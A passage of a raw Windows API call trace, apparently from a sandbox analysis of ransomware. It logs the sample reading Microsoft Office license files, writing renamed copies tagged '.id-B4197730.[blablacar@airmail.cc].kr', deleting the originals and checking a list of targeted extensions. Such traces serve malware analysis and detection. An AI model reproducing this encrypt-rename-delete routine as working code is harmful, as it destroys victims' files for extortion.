1 [0196.309] ReadFile (in: hFile=0x518, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0196.309] WriteFile (in: hFile=0x3c4, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x118, lpOverlapped=0x0) returned 1 [0196.309] SetEndOfFile (hFile=0x3c4) returned 1 [0196.315] CloseHandle (hObject=0x3c4) returned 1 [0196.317] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0196.317] SetEndOfFile (hFile=0x518) returned 1 [0196.758] CloseHandle (hObject=0x518) returned 1 [0196.758] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0196.974] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ul-oob.xrm-ms")) returned 1 [0197.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms") returned 84 [0197.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms") returned 84 [0197.517] lstrlenW (lpString=".doc") returned 4 [0197.517] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0197.522] lstrlenW (lpString=".docx") returned 5 [0197.522] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0197.522] lstrlenW (lpString=".pdf") returned 4 [0197.522] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0197.522] lstrlenW (lpString=".xls") returned 4 [0197.522] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0197.522] lstrlenW (lpString=".xlsx") returned 5 [0197.522] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0197.522] lstrlenW (lpString=".ppt") returned 4 [0197.522] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0197.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms") returned 84 [0197.522] lstrlenW (lpString=".zip") returned 4 [0197.522] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0197.522] lstrlenW (lpString=".rar") returned 4 [0197.522] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0197.522] lstrlenW (lpString=".bz2") returned 4 [0197.522] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0197.522] lstrlenW (lpString=".7z") returned 3 [0197.522] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0197.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms") returned 84 [0197.522] lstrlenW (lpString=".dbf") returned 4 [0197.522] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0197.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms") returned 84 [0197.522] lstrlenW (lpString=".1cd") returned 4 [0197.522] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0197.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms") returned 84 [0197.522] lstrlenW (lpString=".jpg") returned 4 [0197.523] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0197.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms") returned 84 [0197.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms") returned 84 [0197.523] lstrlenW (lpString=".doc") returned 4 [0197.523] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0197.523] lstrlenW (lpString=".docx") returned 5 [0197.523] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0197.523] lstrlenW (lpString=".pdf") returned 4 [0197.523] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0197.523] lstrlenW (lpString=".xls") returned 4 [0197.523] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0197.523] lstrlenW (lpString=".xlsx") returned 5 [0197.523] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0197.523] lstrlenW (lpString=".ppt") returned 4 [0197.523] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0197.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms") returned 84 [0197.523] lstrlenW (lpString=".zip") returned 4 [0197.523] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0197.523] lstrlenW (lpString=".rar") returned 4 [0197.523] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0197.523] lstrlenW (lpString=".bz2") returned 4 [0197.523] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0197.523] lstrlenW (lpString=".7z") returned 3 [0197.523] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0197.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms") returned 84 [0197.523] lstrlenW (lpString=".dbf") returned 4 [0197.523] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0197.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms") returned 84 [0197.523] lstrlenW (lpString=".1cd") returned 4 [0197.523] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0197.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms") returned 84 [0197.524] lstrlenW (lpString=".jpg") returned 4 [0197.524] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0197.524] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0197.524] lstrlenW (lpString="HomeBusinessR_Retail3-ul-phn.xrm-ms") returned 35 [0197.524] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0197.863] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=19958) returned 1 [0197.863] CloseHandle (hObject=0x3f8) returned 1 [0197.863] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-phn.xrm-ms")) returned 0x220 [0197.863] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-phn.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0197.863] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0197.864] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0197.864] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0197.864] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-phn.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0197.865] GetLastError () returned 0x0 [0197.865] ReadFile (in: hFile=0x3f8, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x4df6, lpOverlapped=0x0) returned 1 [0197.868] WriteFile (in: hFile=0x4d4, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x4e00, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x4e00, lpOverlapped=0x0) returned 1 [0197.870] ReadFile (in: hFile=0x3f8, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0197.870] WriteFile (in: hFile=0x4d4, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x11a, lpOverlapped=0x0) returned 1 [0197.870] SetEndOfFile (hFile=0x4d4) returned 1 [0197.870] CloseHandle (hObject=0x4d4) returned 1 [0197.870] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0197.870] SetEndOfFile (hFile=0x3f8) returned 1 [0197.873] CloseHandle (hObject=0x3f8) returned 1 [0197.873] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0197.874] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-phn.xrm-ms")) returned 1 [0197.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms") returned 85 [0197.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms") returned 85 [0197.885] lstrlenW (lpString=".doc") returned 4 [0197.886] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0197.886] lstrlenW (lpString=".docx") returned 5 [0197.886] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0197.886] lstrlenW (lpString=".pdf") returned 4 [0197.886] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0197.886] lstrlenW (lpString=".xls") returned 4 [0197.886] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0197.886] lstrlenW (lpString=".xlsx") returned 5 [0197.886] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0197.886] lstrlenW (lpString=".ppt") returned 4 [0197.886] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0197.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms") returned 85 [0197.886] lstrlenW (lpString=".zip") returned 4 [0197.886] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0197.886] lstrlenW (lpString=".rar") returned 4 [0197.886] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0197.886] lstrlenW (lpString=".bz2") returned 4 [0197.886] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0197.886] lstrlenW (lpString=".7z") returned 3 [0197.886] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0197.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms") returned 85 [0197.886] lstrlenW (lpString=".dbf") returned 4 [0197.886] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0197.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms") returned 85 [0197.886] lstrlenW (lpString=".1cd") returned 4 [0197.886] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0197.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms") returned 85 [0197.886] lstrlenW (lpString=".jpg") returned 4 [0197.886] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0197.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms") returned 85 [0197.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms") returned 85 [0197.887] lstrlenW (lpString=".doc") returned 4 [0197.887] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0197.887] lstrlenW (lpString=".docx") returned 5 [0197.887] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0197.887] lstrlenW (lpString=".pdf") returned 4 [0197.887] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0197.887] lstrlenW (lpString=".xls") returned 4 [0197.887] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0197.887] lstrlenW (lpString=".xlsx") returned 5 [0197.887] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0197.887] lstrlenW (lpString=".ppt") returned 4 [0197.887] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0197.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms") returned 85 [0197.887] lstrlenW (lpString=".zip") returned 4 [0197.887] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0197.887] lstrlenW (lpString=".rar") returned 4 [0197.887] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0197.887] lstrlenW (lpString=".bz2") returned 4 [0197.887] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0197.887] lstrlenW (lpString=".7z") returned 3 [0197.887] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0197.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms") returned 85 [0197.887] lstrlenW (lpString=".dbf") returned 4 [0197.887] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0197.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms") returned 85 [0197.887] lstrlenW (lpString=".1cd") returned 4 [0197.887] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0197.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms") returned 85 [0197.887] lstrlenW (lpString=".jpg") returned 4 [0197.888] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0197.888] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0197.888] lstrlenW (lpString="HomeBusinessR_Trial-ul-oob.xrm-ms") returned 33 [0197.888] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0197.890] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=11621) returned 1 [0197.890] CloseHandle (hObject=0x3f8) returned 1 [0197.890] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ul-oob.xrm-ms")) returned 0x220 [0197.890] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0197.890] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0197.891] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0197.891] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0197.891] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0197.892] GetLastError () returned 0x0 [0197.892] ReadFile (in: hFile=0x3f8, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x2d65, lpOverlapped=0x0) returned 1 [0197.894] WriteFile (in: hFile=0x4d4, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x2d70, lpOverlapped=0x0) returned 1 [0197.896] ReadFile (in: hFile=0x3f8, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0197.896] WriteFile (in: hFile=0x4d4, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x116, lpOverlapped=0x0) returned 1 [0197.896] SetEndOfFile (hFile=0x4d4) returned 1 [0197.896] CloseHandle (hObject=0x4d4) returned 1 [0197.896] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0197.896] SetEndOfFile (hFile=0x3f8) returned 1 [0197.900] CloseHandle (hObject=0x3f8) returned 1 [0197.900] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0197.901] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ul-oob.xrm-ms")) returned 1 [0197.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms") returned 83 [0197.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms") returned 83 [0197.902] lstrlenW (lpString=".doc") returned 4 [0197.902] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0197.902] lstrlenW (lpString=".docx") returned 5 [0197.902] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0197.902] lstrlenW (lpString=".pdf") returned 4 [0197.902] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0197.902] lstrlenW (lpString=".xls") returned 4 [0197.902] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0197.902] lstrlenW (lpString=".xlsx") returned 5 [0197.902] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0197.902] lstrlenW (lpString=".ppt") returned 4 [0197.902] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0197.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms") returned 83 [0197.902] lstrlenW (lpString=".zip") returned 4 [0197.902] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0197.902] lstrlenW (lpString=".rar") returned 4 [0197.902] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0197.902] lstrlenW (lpString=".bz2") returned 4 [0197.902] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0197.903] lstrlenW (lpString=".7z") returned 3 [0197.903] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0197.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms") returned 83 [0197.903] lstrlenW (lpString=".dbf") returned 4 [0197.903] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0197.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms") returned 83 [0197.903] lstrlenW (lpString=".1cd") returned 4 [0197.903] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0197.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms") returned 83 [0197.903] lstrlenW (lpString=".jpg") returned 4 [0197.903] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0197.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms") returned 83 [0197.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms") returned 83 [0197.903] lstrlenW (lpString=".doc") returned 4 [0197.903] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0197.903] lstrlenW (lpString=".docx") returned 5 [0197.903] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0197.903] lstrlenW (lpString=".pdf") returned 4 [0197.903] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0197.903] lstrlenW (lpString=".xls") returned 4 [0197.903] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0197.903] lstrlenW (lpString=".xlsx") returned 5 [0197.903] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0197.903] lstrlenW (lpString=".ppt") returned 4 [0197.903] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0197.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms") returned 83 [0197.903] lstrlenW (lpString=".zip") returned 4 [0197.903] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0197.903] lstrlenW (lpString=".rar") returned 4 [0197.903] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0197.904] lstrlenW (lpString=".bz2") returned 4 [0197.904] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0197.904] lstrlenW (lpString=".7z") returned 3 [0197.904] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0197.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms") returned 83 [0197.904] lstrlenW (lpString=".dbf") returned 4 [0197.904] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0197.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms") returned 83 [0197.904] lstrlenW (lpString=".1cd") returned 4 [0197.904] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0197.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms") returned 83 [0197.904] lstrlenW (lpString=".jpg") returned 4 [0197.904] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0197.904] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0197.904] lstrlenW (lpString="HomeBusinessR_Trial2-pl.xrm-ms") returned 30 [0197.904] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0197.906] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=11171) returned 1 [0197.906] CloseHandle (hObject=0x3f8) returned 1 [0197.906] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-pl.xrm-ms")) returned 0x220 [0197.906] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0197.906] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0197.906] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0197.907] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0197.907] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft 